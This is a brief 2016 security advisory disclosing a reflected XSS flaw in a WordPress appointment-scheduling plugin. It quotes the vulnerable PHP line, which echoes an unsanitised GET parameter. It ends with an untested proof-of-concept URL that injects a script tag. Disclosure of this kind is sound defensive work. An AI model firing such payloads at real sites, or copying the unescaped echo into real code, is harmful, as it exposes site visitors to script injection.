Advisory #: 470
Title: Reflected XSS in wordpress plugin ultimate-appointment-scheduling v0.7
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/ultimate-appointment-scheduling
Downloads: 370
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: ultimate-appointment-scheduling
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./ultimate-appointment-scheduling/html/AppointmentDetailsPage.php: 15:<input type="hidden" name="Appointment_ID" value="<?php echo $_GET['Appointment_ID']; ?>" /> The variable Appointment_ID appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./ultimate-appointment-scheduling/html/AppointmentDetailsPage.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/ultimate-appointment-scheduling/html/AppointmentDetailsPage.php?Appointment_ID="><script>alert(1);</script><"